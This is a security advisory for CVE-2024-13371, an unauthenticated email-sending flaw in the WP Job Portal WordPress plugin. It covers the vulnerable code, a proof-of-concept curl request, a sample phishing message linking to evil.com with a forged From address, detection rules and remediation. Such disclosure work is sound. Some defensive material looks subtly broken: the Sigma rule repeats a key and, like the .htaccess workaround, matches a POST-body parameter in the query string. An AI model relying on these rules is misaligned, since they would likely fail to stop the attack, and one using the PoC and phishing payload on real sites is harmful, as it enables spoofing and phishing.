CVE-2024-13371

Executive Summary

CVE-2024-13371 is a missing authorization vulnerability in the WP Job Portal – A Complete Recruitment System for Company or Job Board website plugin for WordPress, affecting all versions up to and including 2.2.6. The flaw resides in the sendEmailToJobSeeker() function, which lacks a capability check, allowing unauthenticated attackers to send arbitrary emails with arbitrary content from the site’s mail server. This can be abused for email spoofing, phishing campaigns, or spam distribution, leveraging the trust of the compromised WordPress instance.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress plugin repository and third-party marketplaces. No known supply chain compromise has been reported, but the lack of a patch increases risk for sites using this plugin.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: None
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the vulnerability does not allow data exfiltration or system compromise, it enables abuse of the mail server for malicious email campaigns, potentially damaging the site’s reputation and enabling social engineering attacks.

Deep Dive & Mechanics

The sendEmailToJobSeeker() function in the WP Job Portal plugin is intended to allow administrators to send emails to job seekers. However, the function is registered as an AJAX action without proper capability checks (e.g., current_user_can()). This means any unauthenticated user can trigger the function via a crafted HTTP request.

Root Cause: Missing authorization check in the AJAX handler. The function does not verify that the requester has administrative privileges before processing the email sending logic.

Attack Flow:

1. An attacker identifies a WordPress site running the vulnerable plugin.
2. The attacker sends a POST request to /wp-admin/admin-ajax.php with action=sendEmailToJobSeeker and parameters such as to, subject, message, and from.
3. The plugin processes the request and sends an email using the WordPress wp_mail() function.
4. The email is sent from the site’s mail server, bypassing typical spam filters due to the trusted domain.

Impact: The attacker can send arbitrary emails that appear to originate from the legitimate WordPress site, enabling phishing, spam, or malware distribution.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.2.6):

add_action('wp_ajax_sendEmailToJobSeeker', 'sendEmailToJobSeeker');
add_action('wp_ajax_nopriv_sendEmailToJobSeeker', 'sendEmailToJobSeeker');

function sendEmailToJobSeeker() {
    $to = sanitize_email($_POST['to']);
    $subject = sanitize_text_field($_POST['subject']);
    $message = wp_kses_post($_POST['message']);
    $headers = array('Content-Type: text/html; charset=UTF-8');
    if (isset($_POST['from'])) {
        $headers[] = 'From: ' . sanitize_email($_POST['from']);
    }
    wp_mail($to, $subject, $message, $headers);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_sendEmailToJobSeeker', 'sendEmailToJobSeeker');
// Remove the nopriv action to require authentication
// add_action('wp_ajax_nopriv_sendEmailToJobSeeker', 'sendEmailToJobSeeker');

function sendEmailToJobSeeker() {
    // Add capability check
    if (!current_user_can('manage_options')) {
        wp_die('Unauthorized', 403);
    }
    $to = sanitize_email($_POST['to']);
    $subject = sanitize_text_field($_POST['subject']);
    $message = wp_kses_post($_POST['message']);
    $headers = array('Content-Type: text/html; charset=UTF-8');
    if (isset($_POST['from'])) {
        $headers[] = 'From: ' . sanitize_email($_POST['from']);
    }
    wp_mail($to, $subject, $message, $headers);
    wp_die();
}

Key Difference: The patched version removes the wp_ajax_nopriv_ action (which allows unauthenticated access) and adds a capability check (current_user_can('manage_options')) to ensure only administrators can send emails.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress instance with WP Job Portal plugin version <= 2.2.6.
• Ability to send HTTP requests to the target.

Exploitation Steps:

1. Identify the target WordPress site and confirm the plugin is active.
2. Craft a POST request to /wp-admin/admin-ajax.php with the following parameters:
   • action: sendEmailToJobSeeker
   • to: attacker-controlled@example.com
   • subject: Important Security Update
   • message: <html><body><h1>Click here to reset your password</h1><a href="http://evil.com/phish">Reset Password</a></body></html>
   • from: admin@victim-site.com
3. Send the request using curl:

   curl -X POST https://victim-site.com/wp-admin/admin-ajax.php \
     -d "action=sendEmailToJobSeeker&to=attacker@evil.com&subject=Test&message=Hello&from=admin@victim.com"
   

4. The email is sent from the victim’s mail server, appearing legitimate.

Note: No public exploit code is available, but the above curl command serves as a proof of concept.

Blue Team

Detection:

• Monitor for unusual AJAX requests to admin-ajax.php with action=sendEmailToJobSeeker from unauthenticated sources.
• Alert on email sending activity from the WordPress server to unexpected external addresses.
• Review mail logs for messages sent via wp_mail() with suspicious content or headers.

Hunting:

• Search web server logs for POST requests to /wp-admin/admin-ajax.php containing sendEmailToJobSeeker.
• Correlate with email logs to identify outbound emails that do not match known administrative activity.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=sendEmailToJobSeeker from IPs not associated with administrators.
  • Outbound emails from the WordPress server to unusual or suspicious domains.
• File:
  • Modified or unexpected entries in the WordPress wp_options table related to the plugin.
  • Presence of the plugin file wp-job-portal/includes/class-ajax.php (or similar) with the vulnerable function.
• Log:
  • Web server logs showing repeated admin-ajax.php requests with the vulnerable action.
  • Mail server logs showing emails sent via wp_mail() with forged From headers.

Detection Engineering

YARA Rule

rule CVE_2024_13371_WP_Job_Portal_Email_Abuse {
    meta:
        description = "Detects exploitation attempts of CVE-2024-13371 in WP Job Portal plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-13371"
    strings:
        $ajax_action = "sendEmailToJobSeeker"
        $admin_ajax = "admin-ajax.php"
        $wp_mail = "wp_mail"
    condition:
        $ajax_action and $admin_ajax and $wp_mail
}

Sigma Rule

title: CVE-2024-13371 WP Job Portal Unauthenticated Email Sending
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b3a1d0f4e7c
status: experimental
description: Detects unauthenticated AJAX requests to sendEmailToJobSeeker in WP Job Portal plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'admin-ajax.php'
        cs-uri-query|contains: 'action=sendEmailToJobSeeker'
    condition: selection
falsepositives:
    - Legitimate admin activity (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-13371 WP Job Portal Unauthenticated Email Sending"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=sendEmailToJobSeeker"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin if not essential, or remove the vulnerable AJAX action by adding a capability check via a custom plugin or theme functions.php:

   add_action('init', function() {
       remove_action('wp_ajax_nopriv_sendEmailToJobSeeker', 'sendEmailToJobSeeker');
   });
   

2. Restrict access to admin-ajax.php using a Web Application Firewall (WAF) or server-level rules to block unauthenticated requests containing sendEmailToJobSeeker.
3. Monitor email logs for any suspicious outbound emails and investigate.

Long-term Fix:

• Apply a patch from the vendor once available. As of now, no patch exists, so consider migrating to an alternative recruitment plugin.
• Implement the principle of least privilege for all AJAX actions in WordPress plugins.

Workaround:

• Use a security plugin like Wordfence to block unauthenticated AJAX requests to sensitive actions.
• Add the following rule to .htaccess (Apache) or equivalent Nginx config:

  RewriteCond %{REQUEST_URI} ^/wp-admin/admin-ajax\.php$
  RewriteCond %{QUERY_STRING} action=sendEmailToJobSeeker
  RewriteCond %{HTTP_COOKIE} !wordpress_logged_in [NC]
  RewriteRule .* - [F,L]
  

Valters IT
Securing Digital Frontiers